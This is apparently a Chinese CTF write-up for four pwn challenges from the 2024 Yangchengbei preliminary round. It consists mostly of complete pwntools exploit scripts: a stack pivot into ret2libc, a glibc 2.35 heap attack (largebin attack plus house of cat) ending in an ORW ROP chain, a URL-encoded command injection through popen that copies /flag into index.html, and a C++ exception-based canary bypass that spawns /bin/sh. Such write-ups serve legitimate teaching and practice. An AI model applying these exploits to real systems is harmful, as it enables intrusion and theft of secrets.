2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分题目WriteUp【本科组】
2024年“羊城杯”粤港澳大湾区网络安全大赛初赛PWN部分WriteUp【本科组】
解题情况
| Category | 题目名称 |
|---|---|
| [Pwn]{.label .primary} | [pstack]{.label .primary} |
| [Pwn]{.label .primary} | [TravelGraph]{.label .primary} |
| [Pwn]{.label .primary} | [httpd]{.label .primary} |
| [Pwn]{.label .primary} | [logger]{.label .primary} |
现在CTF大佬们都那么卷了吗:( 可惜鄙人太菜:( 离AK还剩一个ptrace注入:( 虽然但是我一直在尝试io_uring:( 当了io_uring的小丑:( 果然每次见到io_uring必破防:(
PWN
pstack
栈迁移+ret2libc
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './pwn'
p=remote('139.155.126.78',33481)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
buf =0x601000+0x800
lr=0x4006DB
gad1=0x4006C4
payload=b'a'*0x30+p64(buf+0x30)+p64(gad1)
p.sendafter("u grasp this little bit of overflow",payload)
pause()
pop_rdi=0x400773
puts=0x400520
payload=p64(buf+0x58)+p64(pop_rdi)+p64(0x600FC8)+p64(puts)+p64(gad1)
payload=payload.ljust(0x30,b'\x00')+p64(buf)+p64(lr)
# gdb.attach(p)
p.send(payload)
pause()
p.recv()
libc_base=u64(p.recv(6)+b'\x00\x00')-0x788f68880e50+0x788f68800000
system=libc_base+0x050D70
payload=p64(pop_rdi)+p64(0x601848)+p64(lr+1)+p64(system)+b'/bin/sh\x00'
p.sendline(payload.ljust(0x30)+p64(0x601820)+p64(lr))
p.interactive()
TravelGraph
2.35版本heap UAF,直接打largebin attack + house of cat一把梭。之后ROP打一下ORW就能拿到flag了。
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './pwn'
p=remote('139.155.126.78',36771)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
# car/train/plane
# guangzhou/nanning/changsha/nanchang/fuzhou
trans=['guangzhou','nanning','changsha','nanchang','fuzhou','\x00\x00']
def add(size,from_d,to,far,con):
p.sendlineafter(" Calculate the distance","1")
if size==0x520:
p.sendlineafter("What kind of transportation do you want? ","car")
elif size==0x530:
p.sendlineafter("What kind of transportation do you want? ","train")
else :
p.sendlineafter("What kind of transportation do you want? ","plane")
p.sendlineafter("rom wher",trans[from_d])
p.sendlineafter("To where?",trans[to])
p.sendlineafter("How far?",str(far))
p.sendafter("Note:",con)
def dele(from_d,to):
p.sendlineafter(" Calculate the distance","2")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
def show(from_d,to):
p.sendlineafter(" Calculate the distance","3")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
def edit(from_d,to,num,con):
p.sendlineafter(" Calculate the distance","4")
p.sendlineafter("From where?",trans[from_d])
p.sendlineafter('To where?',trans[to])
p.sendlineafter("Which one do you want to change?",str(num))
p.sendlineafter("How far?","0")
p.sendafter("Note:",con)
def dijk(dist):
p.sendlineafter(" Calculate the distance","5")
p.sendlineafter("Where do you want to travel",trans[dist])
def hack():
p.sendlineafter(" Calculate the distance","6")
add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x540,1,2,1000,b'./flag\x00\x00'*0x10)
add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)
add(0x520,2,3,1000,b'./flag\x00\x00'*0x10)
# dele(0,1)
# show(0,0)
dijk(3)
dele(0,1)
add(0x540,2,3,1000,b'a')
add(0x520,0,2,1000,b'a')
add(0x520,0,3,1000,b'a')
show(0,3)
p.recvuntil('Distance:1000')
p.recvuntil('Note:')
heap_base=u64(p.recv(6)+b'\x00\x00')-0x00005c8312455461+0x5c8312454000
print(hex(heap_base))
dele(1,2)
dele(0,3)
add(0x540,0,4,1000,b'a'*0x510)
show(0,4)
p.recvuntil(b'a'*0x510)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x0000774c6521ace0+0x774c65000000
print(hex(libc_base))
print(hex(heap_base))
libcbase=libc_base
fake_io=heap_base+0x0000625a85e98330-0x625a85e94000
IO_wfile_jumps=libcbase+0x2170C0
execve_addr=libcbase+0xeb080
setcontext_61=libcbase+0x539E0+61
# LOGTOOL['setcontext_61']=setcontext_61
pop_rdi=0x02a3e5+libc_base
pop_rsi=0x02be51+libc_base
pop_rdx2=libc_base+0x11f2e7
ret=pop_rdi+1
buf=heap_base+0x5c8f6383c9e0-0x5c8f6383b000
open=0x1144E0+libc_base
read_a=0x1147D0+libc_base
puts=libc_base+0x80E50
payload=p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf-0x100)+p64(pop_rdx2)+p64(0x100)*2+p64(read_a)
payload+=p64(pop_rdi)+p64(buf-0x100)+p64(puts)
rop=payload
pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0x88:p64(fake_io+0x1e8),
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),
0x138:flat(
{
0x68:p64(fake_io+0x1e8),
0x70:p64(0),
0x88:p64(0),
0xa0:p64(fake_io+0x1f8),
0xa8:p64(ret)
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:p64(0)+p64(0),
0x10:rop
},filler=b'\x00'
)
},filler=b'\x00'
)
add(0x520,1,2,1000,b'a')
add(0x520,3,3,1000,b'a')
add(0x540,1,4,1000,b'a')
add(0x540,4,4,1000,b'a')
add(0x520,1,3,1000,b'a')
add(0x530,1,1,1000,pay[0x00:])
add(0x520,1,2,1000,b'a')
# 2 4 / 3 4
dele(1,4)
dele(3,3)
add(0x540,2,4,1000,b'a'*0x500+p64(0)+p64(0x531)+p64(0x400000001)+p64(0x300000100))
add(0x540,1,2,1000,b'a')
ioall=libc_base+0x021B680
edit(1,4,0,p64(0)+p64(0x521)+p64(0)*3+p64(ioall-0x20))
dele(1,3)
dele(1,1)
add(0x540,1,2,1000,b'a')
add(0x540,1,2,1000,b'a')
hack()
p.interactive()
httpd
奇葩WebPWN popen函数给了一次执行shell命令的机会,但是内容没法输出而且命令的字符被过滤了,所以先把flag文件cp到index.html里面,之后访问index.html就OK了。
EXP: 首先执行:
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)
method='get'
filename='/cp%20/flag%20./index.html'
# filename='/index.html'
#
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p)
p.sendline("Content-Length: 100")
p.interactive()
之后执行:
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './httpd_patched'
p=remote('139.155.126.78',31423)
method='get'
# filename='/cp%20/flag%20./index.html'
filename='/index.html'
#
protocol='HTTP/1.0'
p.sendline(method+' '+filename+' '+protocol)
# pause()
p.sendline("Host: 139.155.126.78:32304")
# gdb.attach(p)
p.sendline("Content-Length: 100")
p.interactive()
logger
利用cpp的异常处理机制绕过canary直接执行system(‘/bin/sh’)
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './pwn'
p=remote('139.155.126.78',35388)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
# gdb.attach(p)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
def trace():
p.sendlineafter("Your chocie:","1")
def warn(con):
p.sendlineafter("Your chocie:","2")
p.sendafter("Type your message here plz: ",con)
def exit():
p.sendlineafter("Your chocie:","3")
# trace()
for i in range(9):
trace()
p.send(b"/bin/sh\x00"*2)
p.sendlineafter("Do you need to check the records?",b'n')
# pause()
warn(b'/bin/sh\x00'*14+p64(0x404218)+p64(0x401BC7))
p.interactive()